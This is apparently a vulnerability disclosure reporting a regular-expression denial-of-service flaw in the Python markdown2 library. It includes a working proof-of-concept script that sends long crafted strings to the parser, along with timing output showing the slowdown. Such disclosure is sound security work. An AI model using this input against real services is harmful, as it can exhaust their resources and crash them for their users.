Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in markdown2.

The ReDoS vulnerability is mainly due to the sub-pattern <\w+[^>]*> with quantified overlapping adjacency and can be exploited with the following code.

Proof of Concept

// PoC.py
import markdown2

from time import perf_counter

for i in range(1, 150000):
    ATTACK = "<" +"a"* i*1000
    LEN = len(ATTACK)
    BEGIN = perf_counter()
    markdown2.markdown(ATTACK)
    DURATION = perf_counter() - BEGIN
    print(f"{LEN}: took {DURATION} seconds!")

Check The Output

1001: took 0.005641400000000019 seconds!
2001: took 0.00603720000000002 seconds!
3001: took 0.014557399999999998 seconds!
4001: took 0.02553470000000002 seconds!
5001: took 0.03322029999999998 seconds!
6001: took 0.03909640000000003 seconds!
7001: took 0.05275799999999997 seconds!
8001: took 0.07255590000000006 seconds!
9001: took 0.1040489 seconds!
10001: took 0.10725309999999999 seconds!
11001: took 0.1324500999999999 seconds!
12001: took 0.15620120000000015 seconds!
13001: took 0.18361340000000004 seconds!
14001: took 0.21310089999999993 seconds!
15001: took 0.23504020000000003 seconds!
16001: took 0.3187225 seconds!
17001: took 0.3104587000000001 seconds!
18001: took 0.3675267999999998 seconds!
19001: took 0.43930789999999975 seconds!
20001: took 0.4739466000000001 seconds!
21001: took 0.5993477999999999 seconds!
22001: took 0.6581337999999999 seconds!
23001: took 0.7693548000000003 seconds!
24001: took 0.7130910000000004 seconds!
25001: took 0.7866885999999997 seconds!
26001: took 0.8594021999999999 seconds!
27001: took 0.8914685000000011 seconds!
28001: took 0.95669 seconds!
29001: took 1.0241423000000012 seconds!
30001: took 1.1281299999999987 seconds!
31001: took 1.0665688000000006 seconds!
32001: took 1.2948132 seconds!
33001: took 1.2873506999999993 seconds!
34001: took 1.2899297 seconds!
35001: took 1.4622563 seconds!
36001: took 1.635194600000002 seconds!
37001: took 1.7957393999999987 seconds!

Impact

This vulnerability is capable of exhausting system resources and leads to crashes.